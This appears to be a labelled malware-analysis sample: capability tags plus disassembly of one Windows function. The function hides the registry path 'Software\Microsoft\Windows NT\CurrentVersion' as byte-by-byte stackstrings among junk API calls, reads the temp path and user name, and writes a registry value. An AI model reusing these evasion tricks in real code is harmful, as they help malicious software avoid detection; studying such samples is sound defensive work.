Function at 0x10002d13
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get session user name
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2c0]
sub esp, 0x33c
mov eax, dword [0x100271c0]
xor eax, ebp
mov dword [ebp + 0x2bc], eax
mov eax, dword [ebp + 0x2c8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push edi
mov dword [ebp - 0x7c], eax
call esi
push 0x100214a3
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp + 0xb8]
push eax
push 0x104
mov byte [ebp + 0x1bc], 0x53
mov byte [ebp + 0x1bd], 0x6f
mov byte [ebp + 0x1be], 0x66
mov byte [ebp + 0x1bf], 0x74
call edi
mov ebx, dword [sym.imp.USER32.dll_IsWindowVisible]
push 0x72a
call ebx
mov byte [ebp + 0x1c0], 0x77
mov byte [ebp + 0x1c1], 0x61
call esi
push 0x165b
mov byte [ebp + 0x1c2], 0x72
mov byte [ebp + 0x1c3], 0x65
mov byte [ebp + 0x1c4], 0x5c
mov byte [ebp + 0x1c5], 0x4d
call ebx
push 0x119
lea eax, [ebp + 0xa0]
push eax
mov byte [ebp + 0x1c6], 0x69
mov byte [ebp + 0x1c7], 0x63
mov byte [ebp + 0x1c8], 0x72
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
mov esi, dword [sym.imp.USER32.dll_GetDC]
push 0x1dec
mov byte [ebp + 0x1c9], 0x6f
call esi
push str.ejdnwnxjyuswhv
mov byte [ebp + 0x1ca], 0x73
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [ebp + 0xb8]
push eax
push 0x104
call edi
push 0x136b
mov byte [ebp + 0x1cb], 0x6f
call esi
push str.yudijulw
mov byte [ebp + 0x1cc], 0x66
mov byte [ebp + 0x1cd], 0x74
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0x77a
call esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x90]
push eax
mov byte [ebp + 0x1ce], 0x5c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp + 0xb8]
push eax
push 0x104
mov byte [ebp + 0x1cf], 0x57
mov byte [ebp + 0x1d0], 0x69
mov byte [ebp + 0x1d1], 0x6e
call edi
push 0x1203
mov byte [ebp + 0x1d2], 0x64
mov byte [ebp + 0x1d3], 0x6f
mov byte [ebp + 0x1d4], 0x77
mov byte [ebp + 0x1d5], 0x73
mov byte [ebp + 0x1d6], 0x20
mov byte [ebp + 0x1d7], 0x4e
mov byte [ebp + 0x1d8], 0x54
mov byte [ebp + 0x1d9], 0x5c
mov byte [ebp + 0x1da], 0x43
call ebx
push 0x168f
mov byte [ebp + 0x1db], 0x75
call esi
push 0x2564
mov byte [ebp + 0x1dc], 0x72
mov byte [ebp + 0x1dd], 0x72
call ebx
mov ebx, dword [sym.imp.USER32.dll_GetCursor]
mov byte [ebp + 0x1de], 0x65
call ebx
push 0x11c
lea eax, [ebp + 0xa0]
push eax
mov byte [ebp + 0x1df], 0x6e
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
lea eax, [ebp + 0xb8]
push eax
push 0x104
mov byte [ebp + 0x1e0], 0x74
call edi
push 0x2b78
mov byte [ebp + 0x1e1], 0x56
mov byte [ebp + 0x1e2], 0x65
call esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xb4]
push eax
mov byte [ebp + 0x1e3], 0x72
mov byte [ebp + 0x1e4], 0x73
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov byte [ebp + 0x1e5], 0x69
mov byte [ebp + 0x1e6], 0x6f
mov byte [ebp + 0x1e7], 0x6e
call ebx
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x1bc]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov byte [ebp + 0x1e8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
pop edi
pop esi
pop ebx
jne 0x10002fd2
lea eax, [ebp - 0x70]
push 0x10021484
push eax
call fcn.10010ad0
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push dword [ebp - 0x7c]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10002fd2
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x2bc]
xor ecx, ebp
call fcn.10010fcb
add ebp, 0x2c0
leave
ret